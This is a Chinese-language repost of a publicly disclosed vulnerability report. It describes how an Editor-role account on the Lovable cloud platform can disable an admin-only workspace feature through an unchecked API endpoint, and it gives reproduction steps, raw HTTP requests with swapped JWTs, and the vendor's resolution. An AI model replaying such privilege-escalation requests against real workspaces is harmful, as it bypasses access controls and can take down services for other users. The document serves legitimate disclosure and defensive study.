授权漏洞解析:编辑器权限越权操作管理员工作区功能

本文详细分析了Lovable云平台中的权限验证漏洞,编辑器角色用户可通过API端点越权禁用管理员专属工作区功能,导致服务中断风险。包含完整复现步骤和影响评估。

授权不当导致编辑器可切换管理员专属工作区功能(Lovable云)

时间线

  • d0maxploit 向 Lovable VDP 提交报告
  • 2025年10月5日 13:08 UTC

摘要

具有编辑器角色的账户可以成功调用API端点 /workspaces/<WORKSPACE_ID>/tool-preferences/supabase/enable 来禁用全工作区范围的管理员专属功能(Lovable云)。该API未对此操作实施服务器端角色检查,导致垂直权限提升(访问控制破坏)。

复现步骤

前置条件

两个账户同属一个工作区 Victim-Workspace:

  • 账户A(所有者/管理员)- 在Victim-Workspace中具有所有者角色
  • 账户B(编辑器)- 在同一Victim-Workspace中具有编辑器角色

操作流程

  1. 以账户A(管理员)身份登录,并在工作区内关闭云功能
  2. 捕获此端点(负责禁用云功能)
1
2
3
4
5
6
POST /workspaces/<WORKSPACE_ID>/tool-preferences/supabase/enable HTTP/2
Host: lovable-api.com
Authorization: Bearer <OWNER-JWT>
Content-Type: application/json

{"approval_preference":"disable"}

注意:<WORKSPACE_ID> 是Victim-Workspace的工作区ID

  1. 修改请求以使用编辑器JWT令牌 将Authorization头部替换为账户B(编辑器)的JWT:
1
2
3
4
5
6
POST /workspaces/<WORKSPACE_ID>/tool-preferences/supabase/enable HTTP/2
Host: lovable-api.com
Authorization: Bearer <EDITOR_JWT>
Content-Type: application/json

{"approval_preference":"disable"}

当使用编辑器的JWT再次发送请求时,请求成功并且Lovable云设置在工作区中被关闭。

概念验证

视频:Lovable_Cloud_Feature_POC.mp4(8.37 MB)

影响

编辑器可以禁用Lovable云功能,该功能为工作区后端提供支持(包括数据库、身份验证、存储和无服务器功能)。 这可能导致全工作区范围的停机,破坏所有项目和用户的功能,由于潜在的服务中断和业务损害,影响程度为高。

处理过程

  • Lovable VDP 工作人员将状态更改为"已分类"
  • 工作人员将严重性从高(8.3)调整为低
  • 报告状态更改为"已解决"
  • 报告已被公开披露

报告信息

  • 报告ID:#3371414
  • 状态:已解决
  • 严重性:低(0.1 ~ 3.9)
  • 弱点:授权不当
  • CVE ID:无
  • 赏金:无
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计